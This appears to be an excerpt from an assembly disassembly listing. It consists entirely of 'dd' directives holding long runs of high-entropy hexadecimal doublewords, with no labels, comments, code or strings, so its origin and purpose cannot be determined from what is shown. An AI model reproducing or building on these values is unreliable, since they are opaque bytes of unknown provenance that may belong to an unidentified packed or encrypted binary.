		dd 0BB969028h, 0F578374Bh, 87184210h, 5AF25850h, 95501197h
		dd 0ED5E3708h, 9223C822h, 8048C290h, 0E04BBED4h, 806DF71Dh
		dd 6914C022h, 4249110h,	58C9D2C1h, 9F071E01h, 1384576Fh
		dd 4BA8B96Dh, 0BF00F220h, 4A4448F4h, 4E794023h,	83985758h
		dd 47C1CF8Ch, 19043D4Fh, 10A126E7h, 606784F0h, 0D2C858C3h
		dd 90A4FA15h, 9783F020h, 97A4485h, 902021D8h, 33602731h
		dd 7885F094h, 54EF467Eh, 709B028h, 6844737Ah, 0C0BF0317h
		dd 0F42E0C1Eh, 2DD0100h, 186BE664h, 78C93DD2h, 0C41E9739h
		dd 0F840BD63h, 0DB1B90D6h, 600B0FF7h, 0EBE034ECh, 0CD72E099h
		dd 6041094h, 18B85DA0h,	0B40AB881h, 4DEFC414h, 0E9EC5800h
		dd 72BA659Eh, 769F183Ch, 0C6FD083Ah, 2541CCB8h,	60F61441h
		dd 74B2C300h, 0E426D05Ah, 0ACF19B9h, 0FDB31081h, 3A01E169h
		dd 0ECCBDCC4h, 0C0FB7812h, 0AB29A280h, 3E88AA17h, 24BB7443h
		dd 0C055D7BEh, 30D200A0h, 0A038596Eh, 441F2E5Eh, 96EC3F0Ah
		dd 0B9C68A00h, 2DDCBBh,	9254E7FAh, 2E739066h, 6808D251h
		dd 78177EC4h, 0BC378749h, 2C06782h, 6C76ED43h, 882CC625h
		dd 9797711Ch, 2C64C412h, 20884541h, 6B0967CFh, 1234E6A5h
		dd 813ECACDh, 7C62D268h, 0A9090024h, 8373B313h,	30510037h
		dd 9811CCCFh, 0B12E685h, 7CA04DD7h, 98E7EA12h, 8DCD0176h
		dd 0D221C63Ah, 0EC49E2BDh, 2C0C7DB4h, 84092C8Fh, 8A9462E6h
		dd 0D18968A8h, 0AC94C111h, 61523430h, 7BB31012h, 0A2687056h
		dd 68B63B0Bh, 0E3F70135h, 17F4478Fh, 0BF180094h, 0E5EBA70Ah
		dd 1247882h, 0B5992C12h, 0B031BB79h, 1E581F30h,	14A96C53h
		dd 84170876h, 0C7E8A03Ah, 0F7E24B1Ch, 0AC2859C0h, 41840E5h
		dd 89B59DECh, 889702ABh, 48D070E0h, 0D1892CBDh,	9AB2D022h
		dd 24DBDC40h, 935C6C5Ch, 0A599E8D0h, 92370049h,	97827CBAh
		dd 0AC17245Bh, 3C0035C9h, 37418D57h, 26CB175Fh,	0DBFCC1E4h
		dd 0A1D202CAh, 99441D4h, 595471A8h, 0B900805Dh,	1E3F795Ch
		dd 0A1163CC9h, 0E000CF90h, 0F337AD8Ah, 0F5F0E74Dh, 620A066Eh
		dd 0C159191Eh, 1CAB95h,	0E722C277h, 60BE02h, 63205236h
		dd 0F890267Fh, 7A84049h, 4C88993Ah, 0E0DC2279h,	0C014F10Ah
		dd 43E5FF25h, 0FB1CD0B4h, 205C1101h, 932B5E78h,	0BA1ADEC4h
		dd 58E47418h, 0B7190084h, 97B574Eh, 41FE938Ah, 9E15FD02h
		dd 41BD210Fh, 7863B2D0h, 393B3278h, 8521E10h, 4FBFE718h
		dd 5BC64BC8h, 35943057h, 19003F42h, 7C230C8Fh, 1D04437h
		dd 5FE2F78Dh, 3949D285h, 0D00E9D74h, 0F032CA2Eh, 0B0560C12h
		dd 1A7E4081h, 0D0D46025h, 1D6309A7h, 5CE8952Ch,	89C44A25h
		dd 4531676h, 0EDAAB29Ch, 1431982Ch, 0B1FA8071h,	0D5303090h
		dd 786620F8h, 7C1C5483h, 0D4E4091Bh, 0D064CBB9h, 0D24204BEh
		dd 0C20D879h, 0B0498420h, 30909718h, 5C3F6202h,	1E7778h
		dd 7AD2A86Bh, 0C92C3E4Ch, 2610735Bh, 80070B24h,	0F8C464A4h
		dd 684B4E60h, 1FB40452h, 2C9EECBCh, 0B0C149A4h,	0C0D30527h
		dd 5C494C61h, 4AB20210h, 385948DAh, 0B842106h, 449821AEh
		dd 68E2BA00h, 71CF6A3Ah, 0C869F9F5h, 40A8E092h,	905E74B8h
		dd 9F901026h, 60A1FC41h, 0E72518C8h, 1B90C904h,	0A0849C79h
		dd 5F9000B4h, 0F6245C59h, 67C503ECh, 0FEE4F808h, 79124BD0h
		dd 3EA71C0Bh, 0C1546429h, 0B14CCC08h, 0D06CC41Dh, 2485334Bh
		dd 0EA0A1CA6h, 9C6C880Bh, 5D264019h, 29EEE437h,	32725F2Dh
		dd 81CCF40Ch, 7B038312h
		dd 0CE8C4C6Ch, 60A5EC99h, 9ADAE75Ch, 0DC8A501Ch, 91848065h
		dd 0B38676Fh, 78C0688Fh, 98CC64FFh, 902898D0h, 1A3B40h
		dd 9E7F9AB6h, 72D5C72Fh, 9A0DD62Dh, 0BD5CF604h,	4E1C393h
		dd 994FAB4h, 0C89C204Ah, 7BE30Fh, 619C34EBh, 4247D23Bh
		dd 861060C4h, 97310488h, 0F8E72001h, 1C88A691h,	1DD2BB82h
		dd 2C9CD1DCh, 760E0012h, 0A488AD95h, 58E8C45Dh,	38D30B22h
		dd 3A684069h, 0E7340990h, 4C89D947h, 8AC0088Fh,	0BE846F94h
		dd 97BF8E40h, 0D85DF822h, 0E853D8C2h, 0E2791843h, 81E4F234h
		dd 0F020C5D0h, 9F24204h, 21EA20D2h, 9C57524h, 64BE06E8h
		dd 0FCB4F06Ch, 0F0AD0274h, 80CBCE72h, 0B114780h, 9F881278h
		dd 7A4882Ah, 0D931B401h, 0E036BF66h, 132AECC0h,	55385A78h
		dd 191F9C10h, 0A25C6A2Fh, 34A47A20h, 1188558h, 4C7A8E8Ch
		dd 0ACB442E0h, 0BA0050D4h, 4035D078h, 0C3842754h, 0A2BCBC85h
		dd 434DC810h, 57B872F4h, 7301BA36h, 91BBC738h, 0E79483h
		dd 0BE89A40h, 60D2B78Eh, 85C999C0h, 0F5CA35B5h,	257840C8h
		dd 54C4210Ah, 2269C891h, 525B0E80h, 8674B9D0h, 2865C778h
		dd 2C17B51Fh, 1A594CBh,	7FA484CCh, 6A00F429h, 90675BFDh
		dd 45302E8Ch, 3C2C116Bh, 20550EA5h, 0F80C707h, 9232571Dh
		dd 0D7EF1800h, 3DCBEB90h, 0B69C25C6h, 0FEC79084h, 0C35CC004h
		dd 71BCB903h, 0EC219113h, 0C41278A7h, 0C4D8F269h, 30543FA8h
		dd 87ACE6DFh, 0BC628427h, 0D62D4620h, 0BCAC460Ah, 31CCC890h
		dd 14415FF0h, 0DC1224B3h, 0F82CA427h, 74C03940h, 3F312DC9h
		dd 28D26401h, 106C2087h, 0B3528C00h, 0FC78278h,	43633CD7h
		dd 0B8C97500h, 369781FFh, 4E904F02h, 0CB1ED1D5h, 0BEABC0E4h
		dd 0C46A4FD2h, 58A4F168h, 6C5F8320h, 0C9DF3880h, 1D340B1Fh
		dd 0B0C3ACD2h, 6EB2E6B1h, 76B32062h, 43AD1BCh, 9840D884h
		dd 0D7BDFA54h, 0A84E5DEEh, 95E810h, 22439016h, 7617074Bh
		dd 3F4000AAh, 3EEF4FABh, 0BD12F1A4h, 0A8C097D2h, 1E94233Ah
		dd 1B841E67h, 0D5B88021h, 9D4AE424h, 496BA830h,	58B1F4D2h
		dd 129EA4B6h, 0D374E00Bh, 510540BAh, 1A12CE31h,	0CD17E08Ah
		dd 616804CCh, 8E6C00CFh, 0F04527C5h, 1A084044h,	0A888D113h
		dd 0C0318C82h, 9C11B60h, 0B701CB4Bh, 59C0CCD1h,	715C371h
		dd 29238B56h, 0A89249E7h, 4C51A089h, 180C780h, 0AC5660h
		dd 6BC42CD0h, 3D92B9AAh, 5766871Eh, 811F2880h, 0BE65FDh
		dd 8CED4AFBh, 0C520299h, 0A350140Dh, 0F0E0288Eh, 0E810C087h
		dd 0F6A40608h, 0D5888400h, 7F632D60h, 0F99C00AEh, 0CF8BE314h
		dd 200DF6Dh, 54B78734h,	30B515Fh, 0CBA34FE6h, 0E3A058C7h
		dd 87084BFCh, 4D9F5Ch, 0FFD6D98Bh, 2103D4C9h, 5F7911E1h
		dd 8A50E04Ch, 76063D35h, 2DBBBA00h, 40BCE4C0h, 0E092271Ah
		dd 0CF241158h, 7FC4520h, 644872Bh, 5E2C060h, 20C3A68Ch
		dd 0BA3BA250h, 0B14F0F1Dh, 7933021Fh, 0BF005B4Bh, 0FCB77AC9h
		dd 78EF07FFh, 0C18C4953h, 40811D29h, 3C02E384h,	730340C6h
		dd 36C90060h, 0D1607680h, 6814D035h, 188CB770h,	47E1EB81h
		dd 54C6505Ch, 0E5713179h, 0F33B9C70h, 7C44A8B8h, 35204761h
		dd 0B180DEF8h, 0A2C55CC1h, 7B1E02D9h, 9D14A151h, 0B9FF0008h
		dd 8DF6C614h, 0E19C7A60h, 0D3C071B2h, 6A393880h, 43309CBBh
		dd 7ED71012h, 8C0651FFh, 8FDAF410h, 35791867h, 776578CCh
		dd 0CD0A307Fh, 0DC4F66CBh, 20873380h, 276FB73h,	86F484EEh
		dd 0A8A38AEBh, 280A01C3h, 0A07E5B21h, 51087391h, 2300A1E5h
		dd 13B358A0h, 429100D1h, 0AEDD67DEh, 4AF8877Dh,	28627432h
		dd 0FCB8901Bh, 44BA3A8Dh, 0F0D8D328h, 6487003Bh, 1BB308A5h
		dd 2E3E103Fh, 0BA8A008Eh, 0E313925Ch, 79560C68h, 0B7D09C87h
		dd 0FB35C203h, 246F4351h, 60846558h, 0FD0EB7EAh, 0C9452F00h
		dd 5E8743FEh, 4A4F0DC7h, 30300D62h, 0BF032CABh,	0B769FCB9h
		dd 8AE8A016h, 8F041EEFh, 74B2891Dh, 30369186h, 78DFC04Ch
		dd 11283230h, 0E6C191FCh, 78D4489Bh, 48D93502h,	0D490C9B9h
		dd 0C1029951h, 6AA68E06h, 0B7C04077h, 98028396h, 0D9CB8753h
		dd 0C1C89B42h, 8C41FA9Ch, 0FC40D337h, 80E6A423h, 0CCF0AED9h
		dd 77883C91h, 5EC409EBh, 72A9C01h, 0D857F068h, 102918CCh
		dd 2FD50040h, 282A051Ah, 377E3275h, 95D12E00h, 9E27BE82h
		dd 0BF9C1BB8h, 68E158F3h, 0C80805DFh, 80FE479Dh, 304C674Fh
		dd 0D128EF74h, 44101466h, 21371DEBh, 0B9AC4CB9h, 0A7799C18h
		dd 19509E40h, 2809EF44h, 0F96451CEh, 0D822038Fh, 4A3E20h
		dd 3BF834B4h, 51FCFDA8h, 9109B730h, 2677D0C6h, 48105B8Dh
		dd 31B800A4h, 1C5879A2h, 0F251E409h, 0B3382166h, 80F25204h
		dd 925DC668h, 1D6F0E2h,	0FC84B640h, 0D19CDF86h,	63908088h
		dd 0E9E8F71Bh, 87F301BAh, 0F644FF2Ch, 2210306Bh, 34C4D750h
		dd 986198C4h, 4323B401h, 0A2D1BFBFh, 341F4CF9h,	0A8A454D2h
		dd 23C9510Eh, 8049BA9Ch, 0F8C4E678h, 30A760C1h,	0B72C5F64h
		dd 0B423C009h, 30001882h, 0FCE702A5h, 1251E1F7h, 68DA4848h
		dd 6C4AA9C4h, 8B498000h, 0CBE858DBh, 2C480429h,	0C0DE4402h
		dd 516100A2h, 20C91D9Ch, 5E40FF2h, 18427E76h, 0C9130752h
		dd 0D185871Ch, 964A9Ch,	44414EA4h, 18C45118h, 0B8934BFEh
		dd 2F33F04Dh, 6D5A0401h, 0C0A9910Bh, 44BF9BAFh,	80AD5931h
		dd 98224FCAh, 2B4F987Dh, 169C2A2Ch, 67740F4Ch, 95DACD80h
		dd 0CF09CAEBh, 0E31EA62h, 77B28044h, 0C047919Ch, 0BA9A890h
		dd 0BF02EB94h, 41797107h, 0BEC884DBh, 0C5020080h, 51310543h
		dd 0FD3B368h, 0BB003908h, 64A67406h, 622C7F00h,	20C6582Ah
		dd 0EEBE7DDCh, 5088001Dh, 7604FC2Bh, 0B3E037Ch,	0A0451F16h
		dd 840B77DCh, 830088Eh,	0B4EF9C06h, 0B80306E0h,	0F8C2B644h
		dd 99686B28h, 43B48555h, 76C0CB34h, 0BB2C1537h,	0BA00E843h
		dd 44B0D512h, 3880E14Dh, 30A4C4D0h, 221E8293h, 9D414FD8h
		dd 2EDD9C5Eh, 3704C063h, 0D3D51079h, 0E8C01E04h, 9C14AB5Ch
		dd 294A149h, 0BF66DD1h,	0E3C8875Dh, 1C5405A8h, 30249087h
		dd 40B267FFh, 60FE2E00h, 76EC434Ah, 6B95075Ch, 0C249A4CDh
		dd 74623D31h, 222CCC64h, 0B7E0B045h, 0B220C79Ch, 4C66FA60h
		dd 0CB8BD85Fh, 0F69C3001h, 500424D2h, 6321C01Eh, 6FB24404h
		dd 8884BC89h, 0C9BFFC36h, 0A2743078h, 0AD4A3CA0h, 7BBA9040h
		dd 0F41403CAh, 64B27939h, 0CD5E2016h, 0DA1E0300h, 9DCEA9h
		dd 2866C7E5h, 2C02A3DCh, 467DF00h, 792ACD92h, 783D58FBh
		dd 8068D734h, 4FE83524h, 426C580h, 79835BB2h, 1DF8887Eh
		dd 42043901h, 17299C4Fh, 8EB4988Bh, 0CAC9F8Ah, 9CA183B3h
		dd 0C49E2F28h, 637696EAh, 0FF517C0Ch, 13B3202Bh, 31AD6FFCh
		dd 44CC27B0h, 0C2ABC0D0h, 55004DE8h, 0F0A73A7h,	3C72806h
		dd 0C82AF6D3h, 0E97B8EAh, 58851001h, 510C80ECh,	506E18Ah
		dd 8402C701h, 828867E9h, 0FBC35D25h, 47BA52A0h,	19180EF6h
		dd 2A0B6FBCh, 0D8C05CCh, 1DC58225h, 0B0EC8020h,	0EA485268h
		dd 66F95A31h, 94DCC902h, 3918828Bh, 0BD0032Eh, 7967333Bh
		dd 0EA5E0D87h, 0BC391C3Dh, 0EAE1816h, 50F2BB10h, 3E2A8533h
		dd 669B5BD8h, 35811A4Bh, 9907BD25h, 9086E9D6h, 300C61A0h
		dd 0BE2E17FBh, 0D465377Eh, 590EC342h, 9868E4FEh, 0E38A5303h
		dd 10484A32h, 99FBE05Ch, 5BD20F31h, 0C202CAFFh,	43D7533Ch
		dd 5CFB91E5h, 31EAD4D4h
		dd 0E0BF4795h, 57C29D8Ch, 0C782E785h, 0C0588221h, 0FF020640h
		dd 3D577060h, 5F852575h, 307203EAh, 69535681h, 0DE7E2B0Ch
		dd 605FB634h, 0EBC22033h, 2FE68203h, 0E9120D01h, 158CD632h
		dd 0FF00D34Bh, 0EA563C14h, 16CA2C0Dh, 9D1E902Ah, 1CE2274Eh
		dd 69B36718h, 833B686Fh, 0E28339CAh, 7BB3EA57h,	1A54163Bh
		dd 0F0C071Dh, 9ECAE41Ah, 14B95858h, 24456E01h, 7E1C249h
		dd 9004E9CCh, 51021939h, 8E8CA6F8h, 94EDEA2Ch, 710D2027h
		dd 64BCD090h, 14D0285h,	0CDEA5A92h, 2FB4A8E1h, 0BCC55250h
		dd 89377C0Fh, 9D3CE636h, 8660D132h, 0EAD602C0h,	0EC73FE1h
		dd 0C3F55B55h, 0DC4D0F1Fh, 18BB0A95h, 91521CFDh, 76CE5832h
		dd 0D883E876h, 0E653C289h, 0CB51EBCFh, 88016405h, 0D5C29E3Dh
		dd 0B42357F4h, 0BAB50073h, 2B46D43h, 0AB91CB32h, 0F054EA61h
		dd 6F93DFA0h, 9513E51h,	245AD02Ah, 0D781581Ch, 19300111h
		dd 66D272F8h, 1510BADAh, 0ED178A55h, 86AB5762h,	2618F8CBh
		dd 381A9E15h, 1FAF823Ah, 3477C04h, 0EC020482h, 645CB48Ch
		dd 8152AC84h, 23C2820Ch, 6EA2834h, 2A0D8826h, 0FAC8D16Ah
		dd 0EE4343h, 0E5EF82D0h, 4F679B58h, 7F720EC1h, 9699562Eh
		dd 0F4F6B148h, 7D1FECC6h, 0CB48442Dh, 65B1206h,	4CFE5E47h
		dd 2A81B6AFh, 4059EAFFh, 52690E9Ch, 2273355Ch, 1D645AC1h
		dd 7782DCDEh, 42845388h, 0EAC81052h, 0BFE66696h, 620B366Dh
		dd 7763DD6Ah, 4649F420h, 8A017FFh, 22241955h, 105ACF20h
		dd 0D87D5F88h, 1930F810h, 88B980h, 4161E545h, 0DF767726h
		dd 84EA112Eh, 4DA8C921h, 0FA608B3Ch, 0FF612791h, 65C981C8h
		dd 0F72B40CEh, 12D0F4D8h, 439B6AEAh, 245BEBBh, 5CDE32A0h
		dd 0CEFE46F0h, 532A052h, 12A46956h, 107D995Eh, 0D7500584h
		dd 0F807827Fh, 0CFBBEA2Dh, 0DB5435E6h, 6A68BE05h, 9C236F61h
		dd 3E6CF065h, 9811D002h, 8C140C42h, 5BCA682Dh, 562849C6h
		dd 25C1229h, 0D158AA69h, 0F8C9A882h, 0A8CD18Ch,	1D31271Dh
		dd 2860FB0Ch, 2C48E6ACh, 882602A2h, 6E2A73EDh, 0DF619DF0h
		dd 5442693Eh, 0B21F1323h, 8247CCB7h, 24C6014h, 1F56240Dh
		dd 0EA425E44h, 0E2A98D8Ch, 59C63E18h, 9ED8228h,	0C43D8A34h
		dd 0F18C8AC8h, 0FE8D5832h, 0F45D4217h, 19F03A48h, 643E7614h
		dd 589C03AAh, 0E30A7483h, 90C8FB5Eh, 37817E21h,	3EA4FA8Ah
		dd 0BB533200h, 4F26767Ah, 7712473Ch, 39A38445h,	4061B998h
		dd 0B3055371h, 0BBC3810Bh, 0F2028183h, 569D684Fh, 3FE64C8Ah
		dd 0EF10F443h, 8134289Fh, 0C2E78C72h, 0F4207F64h, 0A45565DEh
		dd 341C44C6h, 0CAC01E89h, 11D6397Bh, 90659842h,	1C796EF4h
		dd 0EC00D7E9h, 4A8C53B9h, 0DE03F7ECh, 2F14CE5h,	6535D2F4h
		dd 44470AA3h, 18ED90EAh, 0C769603Ah, 5830707Ch,	9E106C38h
		dd 2A4C3B6Bh, 603E8B02h, 81209853h, 0FCC6F233h,	345D7B24h
		dd 75160B2Dh, 1EC13E5h,	0FFD7F708h, 24F2D9C7h, 0E74869F7h
		dd 45A69A22h, 0C841952h, 5D1C9788h, 67022E0Eh, 0BCB021EAh
		dd 0E82DC929h, 3EECFA5Ah, 0FD965270h, 841035FAh, 863D957h
		dd 0E89A8806h, 0A206EE2Ch, 0F45526CFh, 9378D445h, 5614F107h
		dd 170F9B0Fh, 0ABED1501h, 9C3820F2h, 143C5A04h,	3184F802h
		dd 58040816h, 0BA019BCEh, 0F7DC1E6Fh, 985502D1h, 53D62D81h
		dd 1059082h, 4F8E291Eh,	8038BFEAh, 3E695122h, 5C39A716h
		dd 33C1359h, 63118992h,	0AF43E14Ah, 8C06D0A1h, 0DA322234h
		dd 45A10D06h, 4B728FEAh, 0CF5164DCh, 0EAF66981h, 1A8EFF71h
		dd 0A2E664B5h, 28C13569h, 55735A1Bh, 1690EC54h,	29B951h
		dd 0F8771628h, 408B0ED1h, 0D22FD400h, 5A2C06E9h, 32FD0E75h
		dd 22CF59C3h, 0EAC25B80h, 8BA85408h, 952C044Ch,	40420679h
		dd 0D7020329h, 2380AFB9h, 1CD84364h, 22D04A72h,	5C1BEA16h
		dd 2C751049h, 6743645Ch, 0CF0F9655h, 5F320344h,	0BF3E661Dh
		dd 87AD3EAh, 5A139043h,	5859FD41h, 0FB44E88Ah, 0FC629B25h
		dd 3431E102h, 0DA325230h, 95820D06h, 96094D52h,	40B8FCCCh
		dd 0D94A310Ch, 8A542200h, 0A8C482E4h, 8108D813h, 1F8C604Fh
		dd 7DEAFB4Dh, 0EB43F62Ch, 85EEB89h, 8A45F574h, 0DCBBA346h
		dd 825D982Eh, 0EC3E4029h, 0B7790353h, 1574EA49h, 4D6C72Ch
		dd 14899409h, 542CF612h, 0F0A8A0Dh, 0D28510C1h,	781DB775h
		dd 1899891Dh, 0D6D02E16h, 699498DBh, 0EE3614A0h, 2D85F578h
		dd 0E0B38D1Eh, 56D4E5C3h, 76BFB052h, 462A0059h,	6BC1BC54h
		dd 0A25443Eh, 8C12FDFh,	0E4841F6Eh, 3405294Ch, 84E32C6Dh
		dd 0D7880CCAh, 0C6F4642h, 532569DCh, 0A0E81820h, 96EAFF59h
		dd 46A982D3h, 368DC438h, 4890071Ch, 0C2C85C84h,	0BC2640A2h
		dd 4662EE03h, 0E2DE0A37h, 0C09129C8h, 0C281742Ah, 0F209EF30h
		dd 0A0789C31h, 9CF408C7h, 19898D34h, 5C3B93E1h,	0DBBE3F06h
		dd 0EFBB0422h, 80518C4Ah, 38425859h, 3182784Dh,	76532A09h
		dd 55843D2Dh, 695D0197h, 824D5CE9h, 59AA92F9h, 6EFF5834h
		dd 5327788Bh, 85D9355Ah, 22D3829Ch, 0F00B7152h,	2674469h
		dd 22391BBCh, 860A2256h, 0DF302A17h, 0FF5F5557h, 1FF220h
		dd 824B7643h, 4C7BD7E8h, 0ECD0D8FDh, 300A6E18h,	2875C40Ch
		dd 932E58h, 53326B2h, 0EA5CE02Ah, 0A48B412Ah, 1B803ECh
		dd 292B1900h, 4CF38232h, 3EFC3B6Fh, 3DF7EB00h, 0DDEA44CAh
		dd 2D0DE7BAh, 0D4AF05D9h, 788BA5DBh, 50B85400h,	0EA6AD081h
		dd 138A7A49h, 0FB13345Fh, 98AD08h, 49E1BF57h, 0DDB01B66h
		dd 2B309C06h, 4B32476Bh, 0DEEF7169h, 9A8714DAh,	0E05BD1D2h
		dd 0E6F4975h, 0FE321F53h, 0D9EAF042h, 9B3642F5h, 7F7B1076h
		dd 0EB67242Bh, 4A4B6409h, 65DA0850h, 5966996Bh,	5381563Ch
		dd 0FC212A69h, 0B430EA6Eh, 825F1637h, 6FEA946Dh, 6F6187C6h
		dd 13545239h, 14C74EB2h, 0E006BDE6h, 0AE262D1h,	996089DAh
		dd 0BCFE39B2h, 80A9444Ch, 4BC4E86Ah, 9379C2Ah, 0B0208594h
		dd 932F1DEEh, 3334777Bh, 80DA1625h, 5D588820h, 320C1DA5h
		dd 45AF6904h, 3E2249CDh, 0B3FC1B14h, 61E6BF26h,	48585FF8h
		dd 0EA1960A7h, 591C34C1h, 0AFFA3FD9h, 834D85A4h, 4481BC00h
		dd 35B0424h, 0E908921Bh, 581F29AAh, 814F2C8Bh, 9647F3C4h
		dd 31961433h, 0E90DC306h, 1C008788h, 15DE889h, 1C0559C8h
		dd 808530D8h, 0F0161235h, 0F0F52D51h, 0E9126B09h, 354F97FBh
		dd 265ECF29h, 394790C5h, 0E0942404h, 831E3B05h,	1A87D9C0h
		dd 8206FF8Bh, 5CE468C3h, 0F0E91820h, 0C7FE0A35h, 83672EEEh
		dd 0E2D0810Eh, 0F0D4C02h, 5259CF31h, 1E7B58E6h,	68565503h
		dd 0B0BD1050h, 0C42434FFh, 1828858Ah, 2508712h,	0A25840B8h
		dd 95A03149h, 0FFF1ACE9h, 893951E2h, 43F46CD1h,	15537A5Ah
		dd 60C381E3h, 241C8076h, 0E0D35C03h, 1FF06853h,	3C89BFh
		dd 770252BFh, 0EC51811Fh, 0F80CF91Dh, 57187BB9h, 37D2514Bh
		dd 0B962E14h, 617A18B4h, 4E90FFC2h, 203CF100h, 5AD32148h
		dd 50652AE9h, 51EB0185h, 0F777A019h, 639BF7DBh,	685B1A05h
		dd 0BE312F0Ah, 0FB5C0C8Bh, 0C8210658h, 110E9BE9h, 0BE02E6A1h
		dd 0D8A0141Fh, 48DB4787h, 1064056h, 0E15BD82Ah,	8C2C990h
		dd 0AF19A368h, 0D660073h, 19596DE3h, 55FDD5E9h,	8EDADFDAh
		dd 1F83C105h, 3E0A8568h, 5087D793h, 0B883FC88h,	0EDF3007Eh
		dd 4FDD9A85h, 5FAEA29h,	77047040h, 20F932A7h, 0CB87F60Eh
		dd 0D783939Ch, 4EB17224h
		dd 5966CB07h, 685B80Dh,	40424168h, 806FB557h, 0C5E61AE5h
		dd 0E951EA06h, 552265DAh, 0BDE4A266h, 4183816Ah, 412668A7h
		dd 0BAF5EE5Ch, 7947B16Eh, 71238F5Ch, 0CD3660Ch,	8561529Bh
		dd 2BB55136h, 0C0DA4AE0h, 88F80132h, 99A15808h,	5949A823h
		dd 74FABE02h, 49C701FBh, 858E584Ch, 4044C681h, 0FED683F2h
		dd 889EEC2h, 90309784h,	61F0BD8Eh, 165AA1Fh, 0F181023Fh
		dd 833DD9A5h, 7F46AB3h,	1B7ABF6Ch, 0F781B002h, 0D2B07EA0h
		dd 47210CC1h, 28014FFBh, 29CC6071h, 265FFD2Ch, 0EB0F4900h
		dd 0AE7C169h, 0DD78E906h, 0A2E69AF7h, 6111C92h,	5CC88087h
		dd 4F11DF2Dh, 9439038h,	17C74AFDh, 726E3700h, 71900B69h
		dd 9400C890h, 423C7545h, 0C51B10E9h, 4524D346h,	54D68BABh
		dd 0ACE0B9BCh, 630347B3h, 53E9CB31h, 681E0272h,	3AB5126Ch
		dd 95A4ABAFh, 0E117C97Dh, 41264D5Ah, 0D28B54EDh, 5100A94Eh
		dd 0E05E16B9h, 0CE1C144h, 5C2CE907h, 6749F465h,	69651913h
		dd 6E981C4Bh, 0D5F7435Bh, 4724D48h, 61952DE8h, 79D06DC1h
		dd 0DC565701h, 0E39A6F39h, 13DAF2DFh, 2D142F1h,	8F32FBF0h
		dd 2382A69Dh, 0C2801C2Ah, 0ECCACF35h, 30E8E566h, 0C6C58101h
		dd 0C1165606h, 528061EEh, 0CD31A624h, 0BF0633DAh, 0E15240Dh
		dd 8F8C589Dh, 25A285Eh,	64B15166h, 9044C830h, 9496818h
		dd 838214EBh, 0D642C1CAh, 51D17540h, 6003842Fh,	0C22EFF07h
		dd 555D5C22h, 0D0F72668h, 0BDAB0BDEh, 585514B1h, 535668F0h
		dd 487EEE53h, 164092E1h, 0EC3035E9h, 6C2200B2h,	317B380Ch
		dd 0D4A1FD90h, 0E88004DFh, 4C117683h, 4C1FA748h, 18159710h
		dd 89C128AEh, 86DEF592h, 38EF3039h, 64B353ACh, 4C029EB5h
		dd 4CE98B66h, 0E18273C6h, 7C46C181h, 2D8C0DFDh,	0E11D1E11h
		dd 3C6A9A1Fh, 2BAE9A3Dh, 808F6C26h, 2470D6EFh, 706E39DFh
		dd 0FB2418F5h, 0F700A014h, 12D69E8h, 591290F1h,	0D265CC1Dh
		dd 891B5F07h, 5E101601h, 0F6753722h, 2307D9F7h,	68660633h
		dd 0B0E223B4h, 0A4FA800Fh, 12E13980h, 8802F184h, 0CB57C1CAh
		dd 89562413h, 0C781E712h, 782D8E60h, 412828E9h,	0F2A6585h
		dd 87E28229h, 0A05C3441h, 16EDA63h, 8081CB3Bh, 0D3527459h
		dd 505A2C72h, 99CA224Ah, 3081FB4h, 0DFF72216h, 34510448h
		dd 0A980150Ch, 0A92ACCE9h, 52092CAAh, 2C6057C1h, 84001B80h
		dd 46CA8117h, 0B00D5061h, 0C25BA04Dh, 5839E0E1h, 0DA20627Fh
		dd 0B49CB214h, 5AD404DFh, 8E81E188h, 16058172h,	0ED1532B0h
		dd 715C2C05h, 2D58E2DAh, 0F8420C12h, 0C0F96AC0h, 4D36A26h
		dd 0EBC15B1Fh, 0F9518006h, 0AA0C14C6h, 28F296E9h, 495A9A31h
		dd 126783Dh, 2CC601FEh,	0F473B808h, 59B94917h, 34DC664Fh
		dd 0C103A317h, 9D253C4Bh, 2704D3F9h, 430049FFh,	575B5453h
		dd 520F73B8h, 3C8F3Ah, 76CB814Bh, 30857E73h, 0EAA9E3C1h
		dd 0C417B474h, 1200DF89h, 0E9D1F7CFh, 1E0F5D84h, 8245C0Fh
		dd 0FAA68DDEh, 0F5663570h, 8E80EEDAh, 1EC51119h, 84B82976h
		dd 0FDE90881h, 6BA13305h, 80CD3298h, 46144595h,	0DDF71150h
		dd 83CB4168h, 0D85D27CAh, 40F7914h, 0E9435238h,	21FBD16Eh
		dd 41FD35F9h, 10549D99h, 0BBA59CDh, 93DA72EAh, 925D4084h
		dd 64C85211h, 0BD3D6F7h, 6EF21A00h, 0FFF9D5Fh, 0D235E32Dh
		dd 0E9D00100h, 0E68289CFh, 0FAE87687h, 86D5518Bh, 0F7522C36h
		dd 3F6855C0h, 30E55B6Bh, 144C592h, 0ACE91750h, 4434AF3h
		dd 722A5E5h, 40C24C41h,	1DDD0800h, 1207FDCh, 0A46CF87Ch
		dd 0E8CA20Ch, 36994F1Ah, 0D2EC2947h, 8898F430h,	35879E3h
		dd 0D828B3F3h, 4035B66h, 0B60FC330h, 81C2CDC0h,	0D29CE187h
		dd 24AE8EA2h, 0A62A5159h, 24BD223Dh, 0AC37C101h, 2094F6Ch
		dd 4A9199B2h, 0F9C104FFh, 0C0344812h, 27063FBBh, 89D92919h
		dd 0F456ED51h, 3F6167BEh, 224741Ah, 73305EFDh, 503C92F8h
		dd 40DE97C3h, 7FF2ADF9h, 0F0B2070h, 20DCF784h, 0AC685224h
		dd 21F52812h, 24C204F0h, 911F2D67h, 40D2F703h, 37F5B6FBh
		dd 12E78548h, 1F8C469Fh, 9AE7AE55h, 641834E3h, 160CC10h
		dd 73EFC55Ch, 155936F3h, 40A0DA29h, 5940919Ch, 44E30FB9h
		dd 794966EBh, 0F5F1F466h, 10540318h, 4AE0BEF4h,	0F3665C53h
		dd 0E0E9240Dh, 45B08E4Fh, 0A426C30Fh, 0C70F974Ch, 46575558h
		dd 281427A2h, 64FDC3B3h, 0D18B995Bh, 323F530h, 60ABB15Ch
		dd 70BA0C80h, 29352876h, 0B30A6696h, 18BBAFD1h,	800CE327h
		dd 0F826C7EFh, 8C04395Bh, 0C2F3B113h, 0C6536D4Ah, 745884C9h
		dd 1250A781h, 573F64h, 1102ACBFh, 0FAE7816Ch, 5E2C7F16h
		dd 75EF1643h, 8988E8CEh, 0C75F58F9h, 0DE0B8F05h, 0F568058h
		dd 4A48AA42h, 9310348h,	7D492989h, 0A5661E0Eh, 280FE66Bh
		dd 983401C5h, 0DAE905ABh, 301774E5h, 0C2C48D90h, 1EB21A3Ah
